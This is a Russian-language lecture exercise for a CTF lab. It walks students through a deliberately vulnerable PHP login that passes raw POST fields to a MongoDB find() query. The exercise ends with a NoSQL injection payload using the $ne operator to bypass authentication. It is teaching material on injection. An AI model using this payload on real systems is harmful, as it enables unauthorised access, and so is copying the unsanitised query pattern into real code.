Лекция 7 практика

Дано приложение. Расположенное по адресу: http://bakery.p.myctf.ru/

Код приложения таков:

|  |
| --- |
| <?php  if (isset($\_POST['login']) && isset($\_POST['password'])) {  $collection = $db->users;  $cursor = $collection->find(array("login" => $\_POST['login'], "password" => $\_POST['password']));  if ($cursor->count() > 0) {  ?>  <h1>Flag: XXXX</h1>  <?php } else echo "Wrong credentials";} ?> |

1) Какую роль выполняет строка ?

|  |
| --- |
| $collection->find(array("login" => $\_POST['login'], "password" => $\_POST['password'])) |

2) В каком случае вы получите положительное выполнение выражения ?

|  |
| --- |
| $cursor->count() > 0 |

3) Каким запросом передаются параметры на сайте?

Все запросы в MongoDB должны быть в формате JSON, где передаются массивы параметров и значений. Драйвер MongoDB представляет собой компонент, преобразующий массив к формату JSON.

Запрос, заполненный значениями, будет передаваться в MongoDB в следующем виде:

|  |
| --- |
| find( {username: 'barry',Password:'jimmypage'}) |

4) Рассмотрите следующую идею:  
При каком еще условии будет выполняться find?

|  |
| --- |
| find(array("login" => $\_POST['login'], "password" => $\_POST['password'])) |

5) обратитесь к мануалу mongodb:

https://docs.mongodb.com/manual/reference/operator/query/ne/

{field: {$ne: value} }

6) в качестве значения параметра вам нужно получить массив. Сделать в HTTP это можно следующим образом:

|  |
| --- |
| var[key]=value |

В итоге переменная примет вид:

|  |
| --- |
| array(1) {  ["var"]=>  array(1) {  ["key"]=>  string(x) "value"  } } |

А в строке кода php:

|  |
| --- |
| find( { ... var: {key:’value’} …. }) |

Используя мануал из п.5 попробуйте выполнить инъекцию. Пройдите все шаги, указанные в пунктах выше и запишите свои значения. Покажите полученный результат.

login=admin&password[$ne]=123